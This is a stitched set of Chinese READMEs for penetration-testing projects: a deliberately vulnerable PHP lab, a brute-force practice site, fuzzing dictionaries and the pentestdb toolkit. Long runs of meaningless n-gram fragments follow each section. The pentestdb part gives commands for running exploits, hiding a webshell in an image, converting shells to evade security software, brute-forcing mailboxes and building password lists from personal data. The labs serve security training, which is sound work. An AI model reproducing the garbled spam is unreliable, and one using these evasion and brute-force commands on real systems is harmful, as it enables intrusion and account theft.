0x00 前言 使用中遇到任何问题请在QQ群中进行反馈,我将倾力相助,QQ群号码见下方 一、轻松渗透测试系统 轻松渗透测试系统是我刚学PHP的时候开发的一个基于lamp环境的web应用。 代码很简单,开发初衷主要是学习PHP,现在发现当初写的这个程序好多漏洞,想了想可以用这个系统来训练挖掘漏洞能力。 现在开源出来,遵从MIT许可协议。如果大家有什么建议和想法,欢迎和我一起完善。 二、用途: 目前我主要用于WEB安全演示教学,也用来自己练习挖掘漏洞 目前发下包含了以下漏洞: 包含sql注入、XSS跨站、CSRF、本地包含等常见的web漏洞 包含密码找回、验证码等逻辑型漏洞 包含git/备份之类文件泄漏 包含图片附件类目录php执行权限 包含webShell上传漏洞 三、推荐安装: 很多人在安装环境出现问题,因此我提供了两种安装方式,docker安装和传统安装,最简单的是用docker安装,具体安装方法如下 3.1 Docker安装 permeate支持采用docker安装,这样安装起来更加简洁,安装教程文档如下 https://segmentfault.com/a/1190000017151621 3.2 传统安装: 项目在lamp环境下开发,建议在WampServer下安装,安装主要有两个要点,首先是添加一个虚拟主机,然后修改hosts文件 增加虚拟主机 首先来看增加虚拟主机的方法,假设安装路径为: E:\www\permeate,在httpd.conf的最后位置添加 <VirtualHost *:80> DocumentRoot "E:\www\permeate" ServerName permeate.localhost <Directory "E:\www\permeate"> Options Indexes FollowSymLinks AllowOverride All Require all granted </Directory> </VirtualHost> 在修改并保存之后,还需要重启WampServer,让配置文件生效。 修改hosts文件 新增虚拟主机之后,现在需要修改hosts文件,windows系统hosts位置是 C:\Windows\System32\drivers\etc\hosts 127.0.0.1 permeate.localhost 开始安装 permeate系统提供在线安装功能,但很多人会报错,因此这里的安装方法是通过直接导入数据库,并修改配置文件的方式,导入数据库这里不做过讲解,主要提一下如何修改配置文件,配置文件位置是 /conf/dbconf.php //数据库位置 !defined('DB_HOST') && define('DB_HOST', 'localhost'); //用户名 !defined('DB_USER') && define('DB_USER', 'root'); //密码 !defined('DB_PASS') && define('DB_PASS', 'root'); //数据库名称 !defined('DB_NAME') && define('DB_NAME', 'qingsong_bbs'); !defined('DB_CHARSET') && define('DB_CHARSET', 'utf8'); 上面的配置文件在正常安装流程下不需要手动去编辑 3.3 运行效果 下载地址:https://github.com/78778443/permeate 前言 使用 用中 中遇 遇到 到任 任何 何问 问题 题请 请在 使用中 用中遇 中遇到 遇到任 到任何 任何问 何问题 问题请 题请在 使用中遇 用中遇到 中遇到任 遇到任何 到任何问 任何问题 何问题请 问题请在 群中 中进 进行 行反 反馈 群中进 中进行 进行反 行反馈 群中进行 中进行反 进行反馈 我将 将倾 倾力 力相 相助 我将倾 将倾力 倾力相 力相助 我将倾力 将倾力相 倾力相助 群号 号码 码见 见下 下方 群号码 号码见 码见下 见下方 群号码见 号码见下 码见下方 轻松 松渗 渗透 透测 测试 试系 系统 轻松渗 松渗透 渗透测 透测试 测试系 试系统 轻松渗透 松渗透测 渗透测试 透测试系 测试系统 统是 是我 我刚 刚学 系统是 统是我 是我刚 我刚学 试系统是 系统是我 统是我刚 是我刚学 的时 时候 候开 开发 发的 的一 一个 个基 基于 的时候 时候开 候开发 开发的 发的一 的一个 一个基 个基于 的时候开 时候开发 候开发的 开发的一 发的一个 的一个基 一个基于 环境 境的 环境的 应用 代码 码很 很简 简单 代码很 码很简 很简单 代码很简 码很简单 发初 初衷 衷主 主要 要是 是学 学习 开发初 发初衷 初衷主 衷主要 主要是 要是学 是学习 开发初衷 发初衷主 初衷主要 衷主要是 主要是学 要是学习 现在 在发 发现 现当 当初 初写 写的 的这 这个 个程 程序 序好 好多 多漏 漏洞 现在发 在发现 发现当 现当初 当初写 初写的 写的这 的这个 这个程 个程序 程序好 序好多 好多漏 多漏洞 现在发现 在发现当 发现当初 现当初写 当初写的 初写的这 写的这个 的这个程 这个程序 个程序好 程序好多 序好多漏 好多漏洞 想了 了想 想可 可以 以用 用这 个系 统来 来训 训练 练挖 挖掘 掘漏 洞能 能力 想了想 了想可 想可以 可以用 以用这 用这个 这个系 个系统 系统来 统来训 来训练 训练挖 练挖掘 挖掘漏 掘漏洞 漏洞能 洞能力 想了想可 了想可以 想可以用 可以用这 以用这个 用这个系 这个系统 个系统来 系统来训 统来训练 来训练挖 训练挖掘 练挖掘漏 挖掘漏洞 掘漏洞能 漏洞能力 在开 开源 源出 出来 现在开 在开源 开源出 源出来 现在开源 在开源出 开源出来 遵从 许可 可协 协议 许可协 可协议 许可协议 如果 果大 大家 家有 有什 什么 么建 建议 议和 和想 想法 如果大 果大家 大家有 家有什 有什么 什么建 么建议 建议和 议和想 和想法 如果大家 果大家有 大家有什 家有什么 有什么建 什么建议 么建议和 建议和想 议和想法 欢迎 迎和 和我 我一 一起 起完 完善 欢迎和 迎和我 和我一 我一起 一起完 起完善 欢迎和我 迎和我一 和我一起 我一起完 一起完善 用途 目前 前我 我主 要用 用于 目前我 前我主 我主要 主要用 要用于 目前我主 前我主要 我主要用 主要用于 安全 全演 演示 示教 教学 安全演 全演示 演示教 示教学 安全演示 全演示教 演示教学 也用 用来 来自 自己 己练 练习 习挖 也用来 用来自 来自己 自己练 己练习 练习挖 习挖掘 也用来自 用来自己 来自己练 自己练习 己练习挖 练习挖掘 习挖掘漏 前发 发下 下包 包含 含了 了以 以下 下漏 目前发 前发下 发下包 下包含 包含了 含了以 了以下 以下漏 下漏洞 目前发下 前发下包 发下包含 下包含了 包含了以 含了以下 了以下漏 以下漏洞 注入 跨站 本地 地包 含等 等常 常见 见的 本地包 地包含 包含等 含等常 等常见 常见的 本地包含 地包含等 包含等常 含等常见 等常见的 含密 密码 码找 找回 包含密 含密码 密码找 码找回 包含密码 含密码找 密码找回 验证 证码 码等 等逻 逻辑 辑型 型漏 验证码 证码等 码等逻 等逻辑 逻辑型 辑型漏 型漏洞 验证码等 证码等逻 码等逻辑 等逻辑型 逻辑型漏 辑型漏洞 备份 份之 之类 类文 文件 件泄 泄漏 备份之 份之类 之类文 类文件 文件泄 件泄漏 备份之类 份之类文 之类文件 类文件泄 文件泄漏 含图 图片 片附 附件 件类 类目 目录 包含图 含图片 图片附 片附件 附件类 件类目 类目录 包含图片 含图片附 图片附件 片附件类 附件类目 件类目录 执行 行权 权限 执行权 行权限 执行权限 上传 传漏 上传漏 传漏洞 上传漏洞 推荐 荐安 安装 推荐安 荐安装 推荐安装 很多 多人 人在 在安 装环 境出 出现 现问 很多人 多人在 人在安 在安装 安装环 装环境 环境出
-
用python实现的web框架建立的在线渗透平台
pythonwebhack 用python 2.7实现的web框架建立的在线渗透平台 web框架是flask 前端框架是amazeUI 安装 pip install flask pip install requests pip install MySQLdb [usage]: python myweb.py 乌云数据库文件安装 链接: http://pan.baidu.com/s/1hrKYy8W 密码: yrrr 更新 12.7 更新 加入乌云漏洞库忽略漏洞查询 11.22 更新 集成了乌云漏洞查询 搭建教程 11.7 更新 加入了在线社工库 调用的接口~ 10.25 更新 加入了社会工程学密码生成和whois查询 10.21 更新 加入了CMS在线识别 学习教程 每一步都记录了 编写记录 实现 现的 实现的 框架 架建 建立 立的 的在 在线 线渗 渗透 透平 平台 框架建 架建立 建立的 立的在 的在线 在线渗 线渗透 渗透平 透平台 框架建立 架建立的 建立的在 立的在线 的在线渗 在线渗透 线渗透平 渗透平台 架是 框架是 前端 端框 前端框 端框架 前端框架 端框架是 安装 乌云 云数 数据 据库 库文 文件 件安 乌云数 云数据 数据库 据库文 库文件 文件安 件安装 乌云数据 云数据库 数据库文 据库文件 库文件安 文件安装 链接 密码 更新 加入 入乌 云漏 漏洞 洞库 库忽 忽略 略漏 洞查 查询 加入乌 入乌云 乌云漏 云漏洞 漏洞库 洞库忽 库忽略 忽略漏 略漏洞 漏洞查 洞查询 加入乌云 入乌云漏 乌云漏洞 云漏洞库 漏洞库忽 洞库忽略 库忽略漏 忽略漏洞 略漏洞查 漏洞查询 集成 成了 了乌 集成了 成了乌 了乌云 集成了乌 成了乌云 了乌云漏 云漏洞查 搭建 建教 教程 搭建教 建教程 搭建教程 入了 了在 线社 社工 工库 加入了 入了在 了在线 在线社 线社工 社工库 加入了在 入了在线 了在线社 在线社工 线社工库 调用 用的 的接 接口 调用的 用的接 的接口 调用的接 用的接口 了社 社会 会工 工程 程学 学密 码生 生成 成和 入了社 了社会 社会工 会工程 工程学 程学密 学密码 密码生 码生成 生成和 加入了社 入了社会 了社会工 社会工程 会工程学 工程学密 程学密码 学密码生 密码生成 码生成和 线识 识别 在线识 线识别 在线识别 学习 习教 学习教 习教程 学习教程 每一 一步 步都 都记 记录 录了 每一步 一步都 步都记 都记录 记录了 每一步都 一步都记 步都记录 都记录了 编写 写记 编写记 写记录 编写记录
-
Kali Linux Web 渗透测试秘籍 中文版
Kali Linux Web 渗透测试秘籍 中文版 原书:Kali Linux Web Penetration Testing Cookbook 译者:飞龙 第二版请见 Kali Linux Web 渗透测试手册(第二版) 在线阅读 PDF格式 EPUB格式 MOBI格式 Github Git@OSC 协议 CC BY-NC-SA 4.0 渗透 透测 测试 试秘 秘籍 渗透测 透测试 测试秘 试秘籍 渗透测试 透测试秘 测试秘籍 中文 文版 中文版 原书 译者 飞龙 第二 二版 版请 请见 第二版 二版请 版请见 第二版请 二版请见 试手 手册 测试手 试手册 透测试手 测试手册 在线 线阅 阅读 在线阅 线阅读 在线阅读 格式 协议
-
瓶颈渗透,web渗透,red红队,fuzz param,注释,js字典,ctf
瓶颈渗透 1.JS文件字典 (持续压迫前端工程师给我提供) 使用技巧: 比如我们渗透一个后台系统,查看源码,分析公共js目录,后台管理js目录。 当得到路径就可以进行爆破探测文件是否存在,如果存在快速捕获接口进行测试SQLI,未授权访问 当毫无思路得情况下,根据js文件分析网站后台大概结构,根据变量名,文件名进行深度猜测。 2.FUZZ参数字典 使用技巧: 初始化字典地址:https://github.com/TheKingOfDuck/fuzzDicts/edit/master/paramDict/parameter.txt 如http://127.0.0.1/1.php ,视为可疑文件,进行fuzz param 选择GET,POST AND (POST JSON) AND (GET Route) AND cookie param 3.ScanAnnotation注释扫描谷歌插件 使用技巧: 谷歌浏览器,进入扩展程序开启开发者模式,选择加载已解压的扩展程序 谷歌应用商店: https://chrome.google.com/webstore/detail/scanannotation/gejiegnodfccfhagbeaopeffcdbcgfef?hl=zh-CN (切换账户上架谷歌平台) 后续更新支持webpack注释扫描(随缘更新) 通过注释可以发现一些利用的内容,有的程序员喜欢写上这个是什么功能,你就可以猜出后台或者隐藏的功能,有的还会贴上后台地址啥,配置文件内网域名各种吧。ctf也可以辅助一下哦! 4.js,jq,vue,react,angluar 快速提取api and param 正在研究 参考资料:https://github.com/GerbenJavado/LinkFinder (基本是同个功能还有谷歌插件) 参考资料:https://github.com/p1g3/JSINFO-SCAN (递归式寻找域名和api) 近期发现Vue.js devtools,Augury,React Developer Tools等谷歌插件,如js代码没有进行变态处理,可以直接使用获取路由 5.WEB前端的渲染艺术 参考资料:https://mp.weixin.qq.com/s/AfGkqO0O087W24wHgUVs-g 6.manifest遍历JS文件 通过manifest.xxx.js 自动猜测 app.xxx.js 使用方式: manifest_find_js.py https://xxxx.com/pc/js/manifest.e90b779b12a4f25606f0.js app app是文件名可自定义 7.chunk加载 瓶颈 颈渗 渗透 瓶颈渗 颈渗透 瓶颈渗透 文件 件字 字典 文件字 件字典 文件字典 持续 续压 压迫 迫前 前端 端工 工程 程师 师给 给我 我提 提供 持续压 续压迫 压迫前 迫前端 前端工 端工程 工程师 程师给 师给我 给我提 我提供 持续压迫 续压迫前 压迫前端 迫前端工 前端工程 端工程师 工程师给 程师给我 师给我提 给我提供 使用 用技 技巧 使用技 用技巧 使用技巧 比如 如我 我们 们渗 透一 一个 个后 后台 台系 系统 比如我 如我们 我们渗 们渗透 渗透一 透一个 一个后 个后台 后台系 台系统 比如我们 如我们渗 我们渗透 们渗透一 渗透一个 透一个后 一个后台 个后台系 后台系统 查看 看源 源码 查看源 看源码 查看源码 分析 析公 公共 分析公 析公共 分析公共 目录 台管 管理 后台管 台管理 后台管理 当得 得到 到路 路径 径就 就可 可以 以进 进行 行爆 爆破 破探 探测 测文 件是 是否 否存 存在 当得到 得到路 到路径 路径就 径就可 就可以 可以进 以进行 进行爆 行爆破 爆破探 破探测 探测文 测文件 文件是 件是否 是否存 否存在 当得到路 得到路径 到路径就 路径就可 径就可以 就可以进 可以进行 以进行爆 进行爆破 行爆破探 爆破探测 破探测文 探测文件 测文件是 文件是否 件是否存 是否存在 如果 果存 在快 快速 速捕 捕获 获接 接口 口进 行测 测试 如果存 果存在 存在快 在快速 快速捕 速捕获 捕获接 获接口 接口进 口进行 进行测 行测试 如果存在 果存在快 存在快速 在快速捕 快速捕获 速捕获接 捕获接口 获接口进 接口进行 口进行测 进行测试 未授 授权 权访 访问 未授权 授权访 权访问 未授权访 授权访问 当毫 毫无 无思 思路 路得 得情 情况 况下 当毫无 毫无思 无思路 思路得 路得情 得情况 情况下 当毫无思 毫无思路 无思路得 思路得情 路得情况 得情况下 根据 件分 析网 网站 站后 台大 大概 概结 结构 文件分 件分析 分析网 析网站 网站后 站后台 后台大 台大概 大概结 概结构 文件分析 件分析网 分析网站 析网站后 网站后台 站后台大 后台大概 台大概结 大概结构 据变 变量 量名 根据变 据变量 变量名 根据变量 据变量名 件名 名进 行深 深度 度猜 猜测 文件名 件名进 名进行 进行深 行深度 深度猜 度猜测 文件名进 件名进行 名进行深 进行深度 行深度猜 深度猜测 参数 数字 参数字 数字典 参数字典 初始 始化 化字 典地 地址 初始化 始化字 化字典 字典地 典地址 初始化字 始化字典 化字典地 字典地址 视为 为可 可疑 疑文 视为可 为可疑 可疑文 疑文件 视为可疑 为可疑文 可疑文件 选择 注释 释扫 扫描 描谷 谷歌 歌插 插件 注释扫 释扫描 扫描谷 描谷歌 谷歌插 歌插件 注释扫描 释扫描谷 扫描谷歌 描谷歌插 谷歌插件 歌浏 浏览 览器 谷歌浏 歌浏览 浏览器 谷歌浏览 歌浏览器 进入 入扩 扩展 展程 程序 序开 开启 启开 开发 发者 者模 模式 进入扩 入扩展 扩展程 展程序 程序开 序开启 开启开 启开发 开发者 发者模 者模式 进入扩展 入扩展程 扩展程序 展程序开 程序开启 序开启开 开启开发 启开发者 开发者模 发者模式 择加 加载 载已 已解 解压 压的 的扩 选择加 择加载 加载已 载已解 已解压 解压的 压的扩 的扩展 选择加载 择加载已 加载已解 载已解压 已解压的 解压的扩 压的扩展 的扩展程 歌应 应用 用商 商店 谷歌应 歌应用 应用商 用商店 谷歌应用 歌应用商 应用商店 切换 换账 账户 户上 上架 架谷 歌平 平台 切换账 换账户 账户上 户上架 上架谷 架谷歌 谷歌平 歌平台 切换账户 换账户上 账户上架 户上架谷 上架谷歌 架谷歌平 谷歌平台 后续 续更 更新 新支 支持 后续更 续更新 更新支 新支持 后续更新 续更新支 更新支持 随缘 缘更 随缘更 缘更新 随缘更新 通过 过注 释可 以发 发现 现一 一些 些利 利用 用的 的内 内容 通过注 过注释 注释可 释可以 可以发 以发现 发现一 现一些 一些利 些利用 利用的 用的内 的内容 通过注释 过注释可 注释可以 释可以发 可以发现 以发现一 发现一些 现一些利 一些利用 些利用的 利用的内 用的内容 有的 的程 序员 员喜 喜欢 欢写 写上 上这 这个 个是 是什 什么 么功 功能 有的程 的程序 程序员 序员喜 员喜欢 喜欢写 欢写上 写上这 上这个 这个是 个是什 是什么 什么功 么功能 有的程序
-
WEB渗透测试数据库
pentestdb 1 介绍 本项目用于提供渗透测试的辅助工具(pentest-tool)、资源文件 郑重声明: 本项目仅供学习交流,请勿使用本项目进行任何未经授权的渗透测试。 1.1 辅助工具 提供轻量级的易扩展的工具,可以快速编写exploit、添加漏洞验证/扫描规则、添加指纹规则、爆破规则等;包含以下功能: Exploit系统。易扩展的exploit系统,能够使用API快速编写exploit,能够批量执行exploit 子域名爆破。爆破子域名,使用域传送、DNS爆破、GoogleHacking进行子域名爆破 C段扫描。C段扫描,支持生成html格式输出文件 服务端应用识别。识别CMS类型、Web服务器、操作系统、WEB中间件等 URI敏感资源爆破。爆破WEB敏感文件,整站备份、配置备份、敏感文件等 社工密码字典生成。根据社工信息生成密码爆破字典 Google Hacking。GoogleHacking,生成URL字典 编解码等功能。支持非常丰富的编解码方式,方便做payload编码 1.2 资源文件 各种渗透测试常用的资源文件,包括各种爆破字典、exploit、webshell、攻击payload等 2 安装 pentestdb中提供的渗透测试资源可以直接使用,但pentest-tool需要安装到系统中。安装过程如下 从这里下载最新版本,或使用命令 git clone https://github.com/alpha1e0/pentestdb.git clone到本地,然后执行以下命令安装: cd pentestdb cd pentest-tool pip install -r requirements.txt python setup.py install pentestdb支持Windows/Linux/MacOS,需使用python 2.6.x 或 2.7.x运行 注: 在一些系统中,安装lxml会出现编译错误,此时可到这里下载安装包,通过手动安装方式安装。步骤: 2.1 解决nmap依赖 项目中的C段扫描依赖于nmap扫描器 到这里下载nmap相应版本 在windows下需要设置环境变量,让系统能够找到nmap.exe。 3 使用 3.1 pentest-tool 项目中的python-tool工具提供用有用的渗透辅助功能。 3.1.1 Exploit系统 pentest-tool的exploit子命令提供了exploit模块相关操作,exploit模块是一个轻量级的exploit框架,可以编写各种web漏洞的exploit: 搜索exploit信息 增加、删除、修改exploit信息 执行某个exploit 搜索并批量执行exploit exploit保存在项目根目录下的exploit目录下 例如: # 列举、搜索、注册、更新、删除 pentest exploit -l pentest exploit -q appName:joomla pentest exploit --register exploit pentest exploit --update cms_joomla_3_4_session_object_injection.py pentest exploit -d "Joomla 1.5~3.4 session对象注入漏洞exploit" pentest exploit --detail "Joomla 1.5~3.4 session对象注入漏洞exploit" # 执行exploit pentest exploit -e cms_joomla_3_4_session_object_injection.py -u http://127.0.0.1:1234 --attack pentest exploit -s appName:joomla -u http://127.0.0.1:1234 --verify pentest exploit -s appName:joomla -u @url.txt 注:有关exploit模块的详细信息请参考exploit/readme.md 3.1.2 服务端应用识别 pentest-tool的service子命令提供了服务端应用识别的功能,能够识别服务器信息,包括: 操作系统 web服务器 web中间件 CMS等 例如: pentest service http://xxx.com # 开启CMS识别加强模式 pentest service http://xxx.com --cms 3.1.3 社工密码字典生成 pentest-tool的password子命令提供了根据社工信息生成密码字典的功能,能够设置不同关键字生成密码字典 该模块可通过以下要素组合生成密码: 全名,--fullname,名字中各个字中间加空格,例如"lin zhi ling" 昵称,--nickname 英文名称,--englishname 伴侣名字,--partnername 生日,--birthday 手机号,--phone QQ号,--qq 公司名称,--company 域名,--domian 老密码,--oldpasswd 关键字,--keyword 关键数字,--keynumbers 例如: pentest passwdgen --fullname "lin zhi ling" --birthday 1980-1-1 --phone 12344445555 --qq 34233888 -o password.txt 3.1.4 URI敏感文件爆破 pentest-tool的uribrute子命令提供了URI敏感文件爆破,URI爆破字典生成的功能 例如: # 生成web打包备份、敏感文件字典,后缀名使用jsp和jspx,自定义关键字xxx,指定输出结果dict.txt pentest uribrute -t webbak,interestfile -e jspx,jsp --keyword "xxx" -o dict.txt # 爆破目标站点,使用safeurl bypass waf pentest uribrute -b -u http://127.0.0.1/discuz/6.0/ --safeurl "http://127.0.0.1/discuz/6.0/" # 爆破url.txt中的所有站点,爆破敏感文件,自定义notfound页面关键字为“找不到页面” pentest uribrute -b -u @urls.txt -t interestfile --notfound "找不到页面" 3.1.5 Google Hacking功能 pentest-tool的search子命令提供了Google Hacking的功能,目前支持以下搜索引擎: bing google baidu 例如: pentest search "inurl:viewthread.php" -s 10 -o tmp.txt # --unique设定域名唯一,相同域名只记录一个搜索结果 pentest search "inurl:viewthread.php" -s 10 --unique -o tmp.txt 注意,由于百度关闭了 localsearch 功能,因此目前 baidu 方式目前暂不可用。 3.1.6 子域名爆破 pentest-tool的domain子命令提供了子域名爆破功能: 该模块使用3种技术进行子域名爆破: 域传送漏洞检测、利用 DNS字典爆破 Google Hacking搜索 注:支持输出到html文件,使用*-o xxx.html*做为输出文件即可 例如: # 使用域传送技术、Google Hacking对aaa.com 进行子域名爆破 pentest domamin aaa.com -t zg # 使用字典爆破子域名,自定义字典文件domain_large.txt,同时指定爆破顶级域名 pentest domain aaa.com -t d --dict domain_large.txt --topdomian 3.1.7 C段扫描 pentest-tool的subnet子命令提供了C段扫描功能。 注:支持输出到html文件,使用*-o xxx.html*做为输出文件即可 例如: pentest subnet test.com -o result.html 3.1.8 编码 pentest-tool的encode子命令提供了编码的功能 编码方式*-t/--type*支持: url url-all hex decimal unicode unicode-all md5 sha base64 base32 html html-all php-chr utf7 utf7-all 其中**-all编码会编码所有字符包括非特殊字符 非ASCII编码*-m/--method*支持: utf8 gbk gb2312 big5 utf16 utf7 等所有python支持的编码方式,具体请参考如下链接: python支持的编解码格式 例如: pentest encode -t unicode "aaa=你好" pentest encode -t url-all -m gbk "id=你好" pentest encode -t md5 "aaaaaaaa" 3.1.9 解码 pentest-tool的decode子命令提供了解码的功能,并提供非ASCII编码编码推测功能 解码方式*-t/--type*支持: auto(默认) hex url unicode decimal base64 base32 html php-chr utf7 其中auto方式会自动检测url类型、hex类型的字符串并进行解码 非ASCII编码*-m/--method*支持: utf8 gbk gb2312 big5 utf16 utf7 等所有python支持的编码方式,具体请参考如下链接: python支持的编解码格式 例如: pentest decode -t base64 5ZOI5ZOI pentest decode -m utf8 aaa%E5%93%88%E5%93%88 pentest encode -t hex "\x61\x61\xe5\x93\x88\xe5\x93\x88" # 推测编码 pentest decode -d "\x61\x61\xe5\x93\x88\xe5\x93\x88" 3.1.10 文件处理功能 pentest-tool的file子命令提供了常用的文件操作,包括:文件查看、文件编码推断、文件类型转换、文件hash计算、文件图片隐藏(制作php图片木马) 使用*--list*查看支持的文件编码转换格式: utf-32le utf-32le-bom utf-32 utf-32-bom utf-32be utf-32be-bom utf-16be utf-16be-bom utf-8 utf-8-bom utf-16 utf-16-bom utf-16le utf-16le-bom gbk gb2312 big5 ... 例如: # 检测文件编码类型 pentest file cmdb.jsp -d # 计算文件hash pentest file cmdb.jsp --hash md5 # 以16进制方式查看文件 pentest file cmdb.jsp@hex # 将utf-8编码的文件test.txt转换为gbk编码的gbk.txt pentest file test.txt@utf8 -c gbk.txt@gbk # 文件转换,转换为utf-16-bom类型文件(jsp/aspx的utf-16-bom类型文件可绕过一些安全软件) pentest file cmd.jsp -c dst.jsp@utf-16-bom # 制作图片木马,会生成caidao_hiddenin_aa.jpg pentest file caidao.php --hidein aa.jpg 3.1.11 Mail账户验证/爆破 pentest-tool中的pen-mail提供简单的Mail账户验证、爆破功能: 例如: # 验证/tmp/maillist.txt中的Mail账户 pen-mail -c -a @/tmp/maillist.txt # 爆破邮箱 pen-mail -b -u @mail.txt -p @pass.txt 3.1.12 字典维护 pentest-tool中的pen-wordlist提供了字典文件维护的功能,包括: 将多个字典文件merge到数据库中 对每个字典项进行打分计算 按照评分高低导出字典文件 例如: # 按照评分高低从数据库password.db中导出字典文件pass.txt,长度为100 `pen-wordlist` -d pass.txt ../user-password/password/password.db -s 100 # 将字典文件test.txt merge 到数据库password.db中,重复项分值+1 `pen-wordlist` -l test.txt ../user-password/password/password.db 3.2 user-passwd字典 password目录包含密码字典文件 user目录包含用户名字典文件 3.3 dns字典 dns爆破字典 3.4 directory字典 web目录爆破字典,详见相关目录readme.md文件 3.5 attack-payload 各种攻击payload字典,详见相关目录readme.md文件 3.6 webshell webshell收集,详见相关目录readme.md文件 3.7 script 常用脚本 3.8 exploit 一些有用的exploit,详见相关目录readme.md文件 4 备注 本项目使用 Apache License 2.0 开源协议 Copyright [2019] [alpha1e0] Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. 项目中的字典等文件统一使用“/**”作为注释符,注释符在一行开头,且只能注释单行 介绍 本项 项目 目用 用于 于提 提供 供渗 渗透 透测 测试 试的 的辅 辅助 助工 工具 本项目 项目用 目用于 用于提 于提供 提供渗 供渗透 渗透测 透测试 测试的 试的辅 的辅助 辅助工 助工具 本项目用 项目用于 目用于提 用于提供 于提供渗 提供渗透 供渗透测 渗透测试 透测试的 测试的辅 试的辅助 的辅助工 辅助工具 资源 源文 文件 资源文 源文件 资源文件 郑重 重声 声明 郑重声 重声明 郑重声明 目仅 仅供 供学 学习 习交 交流 项目仅 目仅供 仅供学 供学习 学习交 习交流 本项目仅 项目仅供 目仅供学 仅供学习 供学习交 学习交流 请勿 勿使 使用 用本 目进 进行 行任 任何 何未 未经 经授 授权 权的 的渗 请勿使 勿使用 使用本 用本项 项目进 目进行 进行任 行任何 任何未 何未经 未经授 经授权 授权的 权的渗 的渗透 请勿使用 勿使用本 使用本项 用本项目 本项目进 项目进行 目进行任 进行任何 行任何未 任何未经 何未经授 未经授权 经授权的 授权的渗 权的渗透 的渗透测 供轻 轻量 量级 级的 的易 易扩 扩展 展的 的工 提供轻 供轻量 轻量级 量级的 级的易 的易扩 易扩展 扩展的 展的工 的工具 提供轻量 供轻量级 轻量级的 量级的易 级的易扩 的易扩展 易扩展的 扩展的工 展的工具 可以 以快 快速 速编 编写 可以快 以快速 快速编 速编写 可以快速 以快速编 快速编写 添加 加漏 漏洞 洞验 验证 添加漏 加漏洞 漏洞验 洞验证 添加漏洞 加漏洞验 漏洞验证 扫描 描规 规则 扫描规 描规则 扫描规则 加指 指纹 纹规 添加指 加指纹 指纹规 纹规则 添加指纹 加指纹规 指纹规则 爆破 破规 则等 爆破规 破规则 规则等 爆破规则 破规则等 包含 含以 以下 下功 功能 包含以 含以下 以下功 下功能 包含以下 含以下功 以下功能 系统 能够 够使 能够使 够使用 能够使用 够批 批量 量执 执行 能够批 够批量 批量执 量执行 能够批量 够批量执 批量执行 子域 域名 名爆 子域名 域名爆 名爆破 子域名爆 域名爆破 破子 爆破子 破子域 爆破子域 破子域名 用域 域传 传送 使用域 用域传 域传送 使用域传 用域传送 行子 进行子 行子域 进行子域 行子域名 段扫 段扫描 支持 持生 生成 支持生 持生成 支持生成 格式 式输 输出 出文 格式输 式输出 输出文 出文件 格式输出 式输出文 输出文件 服务 务端 端应 应用 用识 识别 服务端 务端应 端应用 应用识 用识别 服务端应 务端应用 端应用识 应用识别 类型 务器 服务器 操作 作系 操作系 作系统 操作系统 中间 间件 件等 中间件 间件等 中间件等 敏感 感资 源爆 敏感资 感资源 资源爆 源爆破 敏感资源 感资源爆 资源爆破 感文 敏感文 感文件 敏感文件 整站 站备 备份 整站备 站备份 整站备份 配置 置备 配置备 置备份 配置备份 文件等 感文件等 社工 工密 密码 码字 字典 典生 社工密 工密码 密码字 码字典 字典生 典生成 社工密码 工密码字 密码字典 码字典生 字典生成 根据 据社 工信 信息 息生 成密 码爆 破字 根据社 据社工 社工信 工信息 信息生 息生成 生成密 成密码 密码爆 码爆破 爆破字 破字典 根据社工 据社工信 社工信息 工信息生 信息生成 息生成密 生成密码 成密码爆 密码爆破 码爆破字 爆破字典 编解 解码 码等 等功 编解码 解码等 码等功 等功能 编解码等 解码等功 码等功能 持非 非常 常丰 丰富 富的 的编 码方 方式 支持非 持非常 非常丰 常丰富 丰富的 富的编 的编解 解码方 码方式 支持非常 持非常丰 非常丰富 常丰富的 丰富的编 富的编解 的编解码 编解码方 解码方式 方便 便做 方便做 编码 各种 种渗 试常 常用 用的 的资 各种渗 种渗透 测试常 试常用 常用的 用的资 的资源 各种渗透 种渗透测 透测试常 测试常用 试常用的 常用的资 用的资源 的资源文 包括 括各 种爆 包括各 括各种 各种爆 种爆破 包括各种 括各种爆 各种爆破 种爆破字 攻击 安装 中提 供的 试资 源可 以直 直接 接使 中提供 提供的 供的渗 测试资 试资源 资源可 源可以 可以直 以直接 直接使 接使用 中提供的 提供的渗 供的渗透 透测试资 测试资源 试资源可 资源可以 源可以直 可以直接 以直接使 直接使用 需要 要安 装到 到系 统中 需要安 要安装 安装到 装到系 到系统 系统中 需要安装 要安装到 安装到系 装到系统 到系统中 装过 过程 程如 如下 安装过 装过程 过程如 程如下
-
暴力破解练习靶场
GitHub传图太渣,要想复现,可以去看雪看带图的帖子https://bbs.pediy.com/thread-259511.htm foundlove 一个借助phpstudy,实现的注册登录平台,主要用于模拟暴力破解靶场环境。 phpstudy构建网站 把本项目当作网站用phpstudy展现出来 数据库构建 如图通过phpstudy进入mysql主页,然后按图中顺序,新建foundlove数据库。 如图构建一个叫做users的表,并令其字段数为3,点击执行。 将三个数据如图设置,然后保存,只要看到下面的截图即设置成功。 数据库后端配置:在网站源码的config.php文件下修改数据库配置, define('DB_USER', 'root'); define('DB_PWD', 'root'); 分别是数据库的用户名和密码,进PHP study看一下,有个数据库一栏,进去之后可以修改root密码,保证这里的和config.php里的一致。 访问验证 在浏览器中访问刚刚设置的域名,测试是否能成功访问 如果正常显示表面phpstudy成功,然后在Register地方注册一个新账户,[email protected], 密码014523,如果反馈注册成功,则说明数据库连接成功,可以开始下一步实验。 爆破实验 对注册、登录相关信息的收集, 首先是welcome首页,可以看到在底部轮播滚动的图片上,标有个人公开信息,也就是说,我们可以从这里知道:用户邮箱和编号,在相亲网站中,这种操作是很常见的。 然后进入注册查看一下,注册的时候会不会有有用的对密码的规则信息: 可以看到,并没有太多有用的信息,但是经过一些尝试,虽然知道了注册的时候密码至少六位,但是没有提供实质性的思路。 于是乎,来到第三个导航栏标签登录 ”Login” ,发现跟注册一个很大的不同就是,有忘记密码选项: 这里面一般情况下就会包含有跟密码相关的信息,点进去之后发现果然: 在注意事项的最后一条,很明显可以看到,ID(也就是最一开始我们看到的编号)是相亲现场分配的,密码则是身份证后六位。 至此,已经可以确定的是: 登录时需要两个信息:邮箱和密码; 密码的规则是身份证后六位; 